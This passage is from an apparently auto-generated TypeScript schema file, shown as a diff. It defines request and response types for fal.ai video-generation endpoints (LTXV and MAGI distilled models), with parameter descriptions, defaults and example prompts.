overall mood is adventurous and exhilarating. High resolution 4k movie scene. + * @type string + */ + prompt: string +} + +export type FileAbf17322 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiLtxv13B098Distilled = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/ltxv-multiscale-text-to-video.mp4"} + * @type object + */ + video: FileAbf17322 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example A cinematic fast-tracking shot follows a vintage, teal camper van as it descends a winding mountain trail. The van, slightly weathered but well-maintained, is the central focus, its retro design emphasized by the motion blur. Medium shot reveals the dusty, ochre trail, edged with vibrant green pine trees. Close-up on the van's tires shows the gravel spraying, highlighting the speed and rugged terrain. Sunlight filters through the trees, casting dappled shadows on the van and the trail. The background is a hazy, majestic mountain range bathed in warm, golden light. The overall mood is adventurous and exhilarating. High resolution 4k movie scene. + * @type string + */ + prompt: string +} + +export type ExtendVideoConditioningInput5C7E9032 = { + /** + * @description URL of video to use as conditioning + * @type string + */ + video_url: string + /** + * @description Whether to resample the video to a specific FPS. If True, the `target_fps` parameter will be used to resample the video. + * @default false + * @type boolean | undefined + */ + resample_fps?: boolean + /** + * @description Whether to limit the number of frames used from the video. If True, the `max_num_frames` parameter will be used to limit the number of frames. + * @default false + * @type boolean | undefined + */ + limit_num_frames?: boolean + /** + * @description Target FPS to resample the video to. Only relevant if `resample_fps` is True. + * @minimum 1 + * @maximum 60 + * @default 24 + * @example 24 + * @type integer | undefined + */ + target_fps?: number + /** + * @description Frame number of the video from which the conditioning starts. Must be a multiple of 8. + * @minimum 0 + * @maximum 1440 + * @default 0 + * @type integer | undefined + */ + start_frame_num?: number + /** + * @description Whether to reverse the video. This is useful for tasks where the video conditioning should be applied in reverse order. + * @default false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description Strength of the conditioning. 0.0 means no conditioning, 1.0 means full conditioning. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + strength?: number + /** + * @description Maximum number of frames to use from the video. If None, all frames will be used. + * @minimum 1 + * @maximum 1441 + * @default 1441 + * @example 1441 + * @type integer | undefined + */ + max_num_frames?: number +} + +export type LoRAWeight71A8A8E6 = { + /** + * @description URL or path to the LoRA weights. + * @type string + */ + path: string + /** + * @description Name of the LoRA weight. Only used if `path` is a HuggingFace repository, and is only required when the repository contains multiple LoRA weights. + */ + weight_name?: string | null + /** + * @description Scale of the LoRA weight. This is a multiplier applied to the LoRA weight when loading it. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiLtxv13B098DistilledExtendResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtxv13B098DistilledExtendResolutionEnumKey = + (typeof inputFalAiLtxv13B098DistilledExtendResolutionEnum)[keyof typeof inputFalAiLtxv13B098DistilledExtendResolutionEnum] + +export const inputFalAiLtxv13B098DistilledExtendAspectRatioEnum = { + '9:16': '9:16', + '1:1': '1:1', + '16:9': '16:9', + auto: 'auto', +} as const + +export type InputFalAiLtxv13B098DistilledExtendAspectRatioEnumKey = + (typeof inputFalAiLtxv13B098DistilledExtendAspectRatioEnum)[keyof typeof inputFalAiLtxv13B098DistilledExtendAspectRatioEnum] + +export type InputFalAiLtxv13B098DistilledExtend = { + /** + * @description The compression ratio for tone mapping. This is used to compress the dynamic range of the video to improve visual quality. A value of 0.0 means no compression, while a value of 1.0 means maximum compression. + * @minimum 0 + * @maximum 1 + * @default 0 + * @example 0 + * @type number | undefined + */ + tone_map_compression_ratio?: number + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description Resolution of the generated video. + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiLtxv13B098DistilledExtendResolutionEnumKey + /** + * @description Whether to use a detail pass. If True, the model will perform a second pass to refine the video and enhance details. This incurs a 2.0x cost multiplier on the base price. + * @default false + * @example false + * @type boolean | undefined + */ + enable_detail_pass?: boolean + /** + * @description The number of frames in the video. + * @minimum 9 + * @maximum 1441 + * @default 121 + * @example 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Number of inference steps during the second pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + second_pass_num_inference_steps?: number + /** + * @description Whether to reverse the video. + * @default false + * @example false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description The number of inference steps to skip in the initial steps of the second pass. By skipping some steps at the beginning, the second pass can focus on smaller details instead of larger changes. + * @minimum 1 + * @maximum 11 + * @default 5 + * @example 5 + * @type integer | undefined + */ + second_pass_skip_initial_steps?: number + /** + * @description The aspect ratio of the video. + * @default 'auto' + * @example auto + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtxv13B098DistilledExtendAspectRatioEnumKey + /** + * @description Video to be extended. + * @example {"max_num_frames":1441,"video_url":"https://storage.googleapis.com/falserverless/web-examples/wan/t2v.mp4","resample_fps":false,"preprocess":false,"limit_num_frames":false,"target_fps":24,"start_frame_num":0,"reverse_video":false,"strength":1,"conditioning_type":"rgb"} + * @type object + */ + video: ExtendVideoConditioningInput5C7E9032 + /** + * @description The frame rate of the video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @example 24 + * @type integer | undefined + */ + frame_rate?: number + /** + * @description Negative prompt for generation + * @default 'worst quality, inconsistent motion, blurry, jittery, distorted' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The constant rate factor (CRF) to compress input media with. Compressed input media more closely matches the model's training data, which can improve motion quality. + * @minimum 0 + * @maximum 51 + * @default 29 + * @example 29 + * @type integer | undefined + */ + constant_rate_factor?: number + /** + * @description Whether to expand the prompt using a language model. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description LoRA weights to use for generation + * @default [] + * @type array | undefined + */ + loras?: LoRAWeight71A8A8E6[] + /** + * @description The factor for adaptive instance normalization (AdaIN) applied to generated video chunks after the first. This can help deal with a gradual increase in saturation/contrast in the generated video by normalizing the color distribution across the video. A high value will ensure the color distribution is more consistent across the video, while a low value will allow for more variation in color distribution. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + temporal_adain_factor?: number + /** + * @description Number of inference steps during the first pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + first_pass_num_inference_steps?: number + /** + * @description Text prompt to guide generation + * @example Woman walking on a street in Tokyo + * @type string + */ + prompt: string +} + +export type File1798585D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiLtxv13B098DistilledExtend = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/ltx-v095_extend.mp4"} + * @type object + */ + video: File1798585D + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example Woman walking on a street in Tokyo + * @type string + */ + prompt: string +} + +export type LoRAWeight4F037E7F = { + /** + * @description URL or path to the LoRA weights. + * @type string + */ + path: string + /** + * @description Name of the LoRA weight. Only used if `path` is a HuggingFace repository, and is only required when the repository contains multiple LoRA weights. + */ + weight_name?: string | null + /** + * @description Scale of the LoRA weight. This is a multiplier applied to the LoRA weight when loading it. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiLtxv13B098DistilledImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtxv13B098DistilledImageToVideoResolutionEnumKey = + (typeof inputFalAiLtxv13B098DistilledImageToVideoResolutionEnum)[keyof typeof inputFalAiLtxv13B098DistilledImageToVideoResolutionEnum] + +export const inputFalAiLtxv13B098DistilledImageToVideoAspectRatioEnum = { + '9:16': '9:16', + '1:1': '1:1', + '16:9': '16:9', + auto: 'auto', +} as const + +export type InputFalAiLtxv13B098DistilledImageToVideoAspectRatioEnumKey = + (typeof inputFalAiLtxv13B098DistilledImageToVideoAspectRatioEnum)[keyof typeof inputFalAiLtxv13B098DistilledImageToVideoAspectRatioEnum] + +export type InputFalAiLtxv13B098DistilledImageToVideo = { + /** + * @description The compression ratio for tone mapping. This is used to compress the dynamic range of the video to improve visual quality. A value of 0.0 means no compression, while a value of 1.0 means maximum compression. + * @minimum 0 + * @maximum 1 + * @default 0 + * @example 0 + * @type number | undefined + */ + tone_map_compression_ratio?: number + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description Resolution of the generated video. + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiLtxv13B098DistilledImageToVideoResolutionEnumKey + /** + * @description Whether to use a detail pass. If True, the model will perform a second pass to refine the video and enhance details. This incurs a 2.0x cost multiplier on the base price. + * @default false + * @example false + * @type boolean | undefined + */ + enable_detail_pass?: boolean + /** + * @description The number of frames in the video. + * @minimum 9 + * @maximum 1441 + * @default 121 + * @example 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Number of inference steps during the second pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + second_pass_num_inference_steps?: number + /** + * @description Whether to reverse the video. + * @default false + * @example false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description The number of inference steps to skip in the initial steps of the second pass. By skipping some steps at the beginning, the second pass can focus on smaller details instead of larger changes. + * @minimum 1 + * @maximum 11 + * @default 5 + * @example 5 + * @type integer | undefined + */ + second_pass_skip_initial_steps?: number + /** + * @description The aspect ratio of the video. + * @default 'auto' + * @example auto + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtxv13B098DistilledImageToVideoAspectRatioEnumKey + /** + * @description Image URL for Image-to-Video task + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-image-input.jpg + * @type string + */ + image_url: string + /** + * @description The frame rate of the video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @example 24 + * @type integer | undefined + */ + frame_rate?: number + /** + * @description Negative prompt for generation + * @default 'worst quality, inconsistent motion, blurry, jittery, distorted' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The constant rate factor (CRF) to compress input media with. Compressed input media more closely matches the model's training data, which can improve motion quality. + * @minimum 0 + * @maximum 51 + * @default 29 + * @example 29 + * @type integer | undefined + */ + constant_rate_factor?: number + /** + * @description Whether to expand the prompt using a language model. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description LoRA weights to use for generation + * @default [] + * @type array | undefined + */ + loras?: LoRAWeight4F037E7F[] + /** + * @description The factor for adaptive instance normalization (AdaIN) applied to generated video chunks after the first. This can help deal with a gradual increase in saturation/contrast in the generated video by normalizing the color distribution across the video. A high value will ensure the color distribution is more consistent across the video, while a low value will allow for more variation in color distribution. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + temporal_adain_factor?: number + /** + * @description Number of inference steps during the first pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + first_pass_num_inference_steps?: number + /** + * @description Text prompt to guide generation + * @example The astronaut gets up and walks away + * @type string + */ + prompt: string +} + +export type FileE4Ff5Af2 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiLtxv13B098DistilledImageToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/ltxv-image-to-video-output.mp4"} + * @type object + */ + video: FileE4Ff5Af2 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example The astronaut gets up and walks away + * @type string + */ + prompt: string +} + +export const videoConditioningInput47E8531EConditioningType = { + rgb: 'rgb', + depth: 'depth', + pose: 'pose', + canny: 'canny', +} as const + +export type VideoConditioningInput47E8531EConditioningTypeKey = + (typeof videoConditioningInput47E8531EConditioningType)[keyof typeof videoConditioningInput47E8531EConditioningType] + +export type VideoConditioningInput47E8531E = { + /** + * @description Maximum number of frames to use from the video. If None, all frames will be used. + * @minimum 1 + * @maximum 1441 + * @default 1441 + * @example 1441 + * @type integer | undefined + */ + max_num_frames?: number + /** + * @description URL of video to use as conditioning + * @type string + */ + video_url: string + /** + * @description Whether to resample the video to a specific FPS. If True, the `target_fps` parameter will be used to resample the video. + * @default false + * @type boolean | undefined + */ + resample_fps?: boolean + /** + * @description Whether to preprocess the video. If True, the video will be preprocessed to match the conditioning type. This is a no-op for RGB conditioning. + * @default false + * @type boolean | undefined + */ + preprocess?: boolean + /** + * @description Whether to limit the number of frames used from the video. If True, the `max_num_frames` parameter will be used to limit the number of frames. + * @default false + * @type boolean | undefined + */ + limit_num_frames?: boolean + /** + * @description Target FPS to resample the video to. Only relevant if `resample_fps` is True. + * @minimum 1 + * @maximum 60 + * @default 24 + * @example 24 + * @type integer | undefined + */ + target_fps?: number + /** + * @description Frame number of the video from which the conditioning starts. Must be a multiple of 8. + * @minimum 0 + * @maximum 1440 + * @default 0 + * @type integer | undefined + */ + start_frame_num?: number + /** + * @description Whether to reverse the video. This is useful for tasks where the video conditioning should be applied in reverse order. + * @default false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description Strength of the conditioning. 0.0 means no conditioning, 1.0 means full conditioning. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + strength?: number + /** + * @description Type of conditioning this video provides. This is relevant to ensure in-context LoRA weights are applied correctly, as well as selecting the correct preprocessing pipeline, when enabled. + * @default rgb + * @example rgb + */ + conditioning_type?: VideoConditioningInput47E8531EConditioningTypeKey | null +} + +export type ImageConditioningInput49D75208 = { + /** + * @description URL of image to use as conditioning + * @type string + */ + image_url: string + /** + * @description Frame number of the image from which the conditioning starts. Must be a multiple of 8. + * @minimum 0 + * @maximum 1440 + * @default 0 + * @type integer | undefined + */ + start_frame_num?: number + /** + * @description Strength of the conditioning. 0.0 means no conditioning, 1.0 means full conditioning. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + strength?: number +} + +export type LoRAWeight04B3254E = { + /** + * @description URL or path to the LoRA weights. + * @type string + */ + path: string + /** + * @description Name of the LoRA weight. Only used if `path` is a HuggingFace repository, and is only required when the repository contains multiple LoRA weights. + */ + weight_name?: string | null + /** + * @description Scale of the LoRA weight. This is a multiplier applied to the LoRA weight when loading it. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiLtxv13B098DistilledMulticonditioningResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtxv13B098DistilledMulticonditioningResolutionEnumKey = + (typeof inputFalAiLtxv13B098DistilledMulticonditioningResolutionEnum)[keyof typeof inputFalAiLtxv13B098DistilledMulticonditioningResolutionEnum] + +export const inputFalAiLtxv13B098DistilledMulticonditioningAspectRatioEnum = { + '9:16': '9:16', + '1:1': '1:1', + '16:9': '16:9', + auto: 'auto', +} as const + +export type InputFalAiLtxv13B098DistilledMulticonditioningAspectRatioEnumKey = + (typeof inputFalAiLtxv13B098DistilledMulticonditioningAspectRatioEnum)[keyof typeof inputFalAiLtxv13B098DistilledMulticonditioningAspectRatioEnum] + +export type InputFalAiLtxv13B098DistilledMulticonditioning = { + /** + * @description Videos to use as conditioning + * @default [] + * @type array | undefined + */ + videos?: VideoConditioningInput47E8531E[] + /** + * @description The compression ratio for tone mapping. This is used to compress the dynamic range of the video to improve visual quality. A value of 0.0 means no compression, while a value of 1.0 means maximum compression. + * @minimum 0 + * @maximum 1 + * @default 0 + * @example 0 + * @type number | undefined + */ + tone_map_compression_ratio?: number + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description Resolution of the generated video. + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiLtxv13B098DistilledMulticonditioningResolutionEnumKey + /** + * @description Whether to use a detail pass. If True, the model will perform a second pass to refine the video and enhance details. This incurs a 2.0x cost multiplier on the base price. + * @default false + * @example false + * @type boolean | undefined + */ + enable_detail_pass?: boolean + /** + * @description The number of frames in the video. + * @minimum 9 + * @maximum 1441 + * @default 121 + * @example 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Number of inference steps during the second pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + second_pass_num_inference_steps?: number + /** + * @description Whether to reverse the video. + * @default false + * @example false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description The number of inference steps to skip in the initial steps of the second pass. By skipping some steps at the beginning, the second pass can focus on smaller details instead of larger changes. + * @minimum 1 + * @maximum 11 + * @default 5 + * @example 5 + * @type integer | undefined + */ + second_pass_skip_initial_steps?: number + /** + * @description URL of images to use as conditioning + * @default [] + * @example [{"image_url":"https://storage.googleapis.com/falserverless/model_tests/ltx/NswO1P8sCLzrh1WefqQFK_9a6bdbfa54b944c9a770338159a113fd.jpg","start_frame_num":0,"strength":1},{"image_url":"https://storage.googleapis.com/falserverless/model_tests/ltx/YAPOGvmS2tM_Krdp7q6-d_267c97e017c34f679844a4477dfcec38.jpg","start_frame_num":120,"strength":1}] + * @type array | undefined + */ + images?: ImageConditioningInput49D75208[] + /** + * @description The aspect ratio of the video. + * @default 'auto' + * @example auto + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtxv13B098DistilledMulticonditioningAspectRatioEnumKey + /** + * @description The frame rate of the video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @example 24 + * @type integer | undefined + */ + frame_rate?: number + /** + * @description Negative prompt for generation + * @default 'worst quality, inconsistent motion, blurry, jittery, distorted' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The constant rate factor (CRF) to compress input media with. Compressed input media more closely matches the model's training data, which can improve motion quality. + * @minimum 0 + * @maximum 51 + * @default 29 + * @example 29 + * @type integer | undefined + */ + constant_rate_factor?: number + /** + * @description Whether to expand the prompt using a language model. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description LoRA weights to use for generation + * @default [] + * @type array | undefined + */ + loras?: LoRAWeight04B3254E[] + /** + * @description The factor for adaptive instance normalization (AdaIN) applied to generated video chunks after the first. This can help deal with a gradual increase in saturation/contrast in the generated video by normalizing the color distribution across the video. A high value will ensure the color distribution is more consistent across the video, while a low value will allow for more variation in color distribution. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + temporal_adain_factor?: number + /** + * @description Number of inference steps during the first pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + first_pass_num_inference_steps?: number + /** + * @description Text prompt to guide generation + * @example A vibrant, abstract composition featuring a person with outstretched arms, rendered in a kaleidoscope of colors against a deep, dark background. The figure is composed of intricate, swirling patterns reminiscent of a mosaic, with hues of orange, yellow, blue, and green that evoke the style of artists such as Wassily Kandinsky or Bridget Riley. The camera zooms into the face striking portrait of a man, reimagined through the lens of old-school video-game graphics. The subject's face is rendered in a kaleidoscope of colors, with bold blues and reds set against a vibrant yellow backdrop. His dark hair is pulled back, framing his profile in a dramatic pose. + * @type string + */ + prompt: string +} + +export type File56403Ab3 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiLtxv13B098DistilledMulticonditioning = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/ltxv-multiconditioning-output.mp4"} + * @type object + */ + video: File56403Ab3 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example A vibrant, abstract composition featuring a person with outstretched arms, rendered in a kaleidoscope of colors against a deep, dark background. The figure is composed of intricate, swirling patterns reminiscent of a mosaic, with hues of orange, yellow, blue, and green that evoke the style of artists such as Wassily Kandinsky or Bridget Riley. The camera zooms into the face striking portrait of a man, reimagined through the lens of old-school video-game graphics. The subject's face is rendered in a kaleidoscope of colors, with bold blues and reds set against a vibrant yellow backdrop. His dark hair is pulled back, framing his profile in a dramatic pose. + * @type string + */ + prompt: string +} + +export const inputFalAiMagiDistilledAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiMagiDistilledAspectRatioEnumKey = + (typeof inputFalAiMagiDistilledAspectRatioEnum)[keyof typeof inputFalAiMagiDistilledAspectRatioEnum] + +export const inputFalAiMagiDistilledResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiMagiDistilledResolutionEnumKey = + (typeof inputFalAiMagiDistilledResolutionEnum)[keyof typeof inputFalAiMagiDistilledResolutionEnum] + +export const inputFalAiMagiDistilledNumInferenceStepsEnum = { + '4': 4, + '8': 8, + '16': 16, + '32': 32, +} as const + +export type InputFalAiMagiDistilledNumInferenceStepsEnumKey = + (typeof inputFalAiMagiDistilledNumInferenceStepsEnum)[keyof typeof inputFalAiMagiDistilledNumInferenceStepsEnum] + +export type InputFalAiMagiDistilled = { + /** + * @description Aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiMagiDistilledAspectRatioEnumKey + /** + * @description Number of frames to generate. Must be between 96 and 192 (inclusive). Each additional 24 frames beyond 96 incurs an additional billing unit. + * @default 96 + */ + num_frames?: number | null + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Resolution of the generated video (480p or 720p). 480p is 0.5 billing units, and 720p is 1 billing unit. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiMagiDistilledResolutionEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @default 16 + * @type number | undefined + */ + num_inference_steps?: InputFalAiMagiDistilledNumInferenceStepsEnumKey + /** + * @description The text prompt to guide video generation. + * @example Close-up shot: the old sea captain stares intently, pipe in mouth, wisps of smoke curling around his weathered face. The camera begins a slow clockwise orbit, pulling back. Finally, the camera rises high above, revealing the entire wooden sailing ship cutting through the waves, the captain unmoved, gazing toward the distant horizon. + * @type string + */ + prompt: string +} + +export type FileDf53F2C3 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiMagiDistilled = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://v3.fal.media/files/rabbit/lTH9PY_LQG0FjueBxMfDN_0395dec3-0c4a-4c25-8399-ebb198b73a30.mp4"} + * @type object + */ + video: FileDf53F2C3 +} + +export const inputFalAiMagiDistilledExtendVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiMagiDistilledExtendVideoResolutionEnumKey = + (typeof inputFalAiMagiDistilledExtendVideoResolutionEnum)[keyof typeof inputFalAiMagiDistilledExtendVideoResolutionEnum] + +export const inputFalAiMagiDistilledExtendVideoAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiMagiDistilledExtendVideoAspectRatioEnumKey = + (typeof inputFalAiMagiDistilledExtendVideoAspectRatioEnum)[keyof typeof inputFalAiMagiDistilledExtendVideoAspectRatioEnum] + +export const inputFalAiMagiDistilledExtendVideoNumInferenceStepsEnum = { + '4': 4, + '8': 8, + '16': 16, + '32': 32, +} as const + +export type InputFalAiMagiDistilledExtendVideoNumInferenceStepsEnumKey = + (typeof inputFalAiMagiDistilledExtendVideoNumInferenceStepsEnum)[keyof typeof inputFalAiMagiDistilledExtendVideoNumInferenceStepsEnum] + +export type InputFalAiMagiDistilledExtendVideo = { + /** + * @description Resolution of the generated video (480p or 720p). 480p is 0.5 billing units, and 720p is 1 billing unit. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiMagiDistilledExtendVideoResolutionEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The frame to begin the generation from, with the remaining frames will be treated as the prefix video. The final video will contain the frames up until this number unchanged, followed by the generated frames. The default start frame is 32 frames before the end of the video, which gives optimal results. + */ + start_frame?: number | null + /** + * @description Aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiMagiDistilledExtendVideoAspectRatioEnumKey + /** + * @description Number of frames to generate. Must be between 96 and 192 (inclusive). Each additional 24 frames beyond 96 incurs an additional billing unit. + * @default 96 + */ + num_frames?: number | null + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description URL of the input video to represent the beginning of the video. If the input video does not match the chosen aspect ratio, it is resized and center cropped. + * @example https://v3.fal.media/files/rabbit/lTH9PY_LQG0FjueBxMfDN_0395dec3-0c4a-4c25-8399-ebb198b73a30.mp4 + * @type string + */ + video_url: string + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @default 16 + * @type number | undefined + */ + num_inference_steps?: InputFalAiMagiDistilledExtendVideoNumInferenceStepsEnumKey + /** + * @description The text prompt to guide video generation. + * @example + * @type string + */ + prompt: string +} + +export type FileB5B9Cf1C = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiMagiDistilledExtendVideo = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://v3.fal.media/files/zebra/2UjT7u_8oF2gGfxBiT_gL_91a8f175-fd57-4ed6-aedc-1957aa558363.mp4"} + * @type object + */ + video: FileB5B9Cf1C +} + +export const inputFalAiMagiDistilledImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiMagiDistilledImageToVideoResolutionEnumKey = + (typeof inputFalAiMagiDistilledImageToVideoResolutionEnum)[keyof typeof inputFalAiMagiDistilledImageToVideoResolutionEnum] + +export const inputFalAiMagiDistilledImageToVideoAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiMagiDistilledImageToVideoAspectRatioEnumKey = + (typeof inputFalAiMagiDistilledImageToVideoAspectRatioEnum)[keyof typeof inputFalAiMagiDistilledImageToVideoAspectRatioEnum] + +export const inputFalAiMagiDistilledImageToVideoNumInferenceStepsEnum = { + '4': 4, + '8': 8, + '16': 16, + '32': 32, +} as const + +export type InputFalAiMagiDistilledImageToVideoNumInferenceStepsEnumKey = + (typeof inputFalAiMagiDistilledImageToVideoNumInferenceStepsEnum)[keyof typeof inputFalAiMagiDistilledImageToVideoNumInferenceStepsEnum] + +export type InputFalAiMagiDistilledImageToVideo = { + /** + * @description Resolution of the generated video (480p or 720p). 480p is 0.5 billing units, and 720p is 1 billing unit. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiMagiDistilledImageToVideoResolutionEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiMagiDistilledImageToVideoAspectRatioEnumKey + /** + * @description URL of the input image to represent the first frame of the video. If the input image does not match the chosen aspect ratio, it is resized and center cropped. + * @example https://raw.githubusercontent.com/painebenjamin/pointy-seeds/refs/heads/main/captain-start.jpg + * @type string + */ + image_url: string + /** + * @description Number of frames to generate. Must be between 96 and 192 (inclusive). Each additional 24 frames beyond 96 incurs 